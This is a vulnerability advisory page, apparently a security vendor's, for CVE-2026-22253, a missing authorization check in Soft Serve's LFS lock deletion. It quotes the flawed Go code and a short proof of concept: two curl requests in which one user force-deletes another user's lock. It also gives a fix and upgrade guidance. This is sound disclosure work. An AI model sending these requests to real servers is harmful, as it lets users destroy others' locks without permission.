CVE-2026-22253 is a medium-severity (CVSS 5.4) CWE-863 vulnerability in github.com/charmbracelet/soft-serve. A fix is available for github.com/charmbracelet/soft-serve — see the affected versions and patch details below.
Soft Serve is missing an authorization check in LFS lock deletion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22253.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-22253 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/charmbracelet/soft-serveReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
LFS Lock Force-Delete Authorization Bypass
Summary
An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.
Severity
- CWE-863: Incorrect Authorization
- CVSS 3.1: 5.4 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Affected Code
File: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock
The control flow processes req.Force at line 905 before retrieving user context at line 919:
// Line 905-916: Force delete executes immediately without authorization
if req.Force {
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return // Returns here, never reaching user validation
}
// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)
Proof of Concept
Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).
-
User A creates a lock:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' -
User B deletes User A's lock using force flag:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' -
Result: Lock deleted successfully with
200 OK. Expected:403 Forbidden.
Suggested Fix
Retrieve user context and validate authorization before processing the force flag:
user := proto.UserFromContext(ctx)
if user == nil {
renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
Message: "unauthorized",
})
return
}
if req.Force {
if !user.IsAdmin() {
renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
Message: "admin access required for force delete",
})
return
}
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return
}
Impact
Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.
Exploitation Requirements:
- Authenticated session
- Write access to target repository
Consequences:
- Unauthorized deletion of other users' locks
- Bypass of LFS file coordination mechanisms
- Potential workflow disruption in collaborative environments
Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/charmbracelet/soft-serve | all versions | 0.11.2go get github.com/charmbracelet/soft-serve@v0.11.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/charmbracelet/soft-serve, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/charmbracelet/soft-serve to 0.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22253 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22253 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22253. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22253 in your dependencies?
O3 Security finds CVE-2026-22253 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.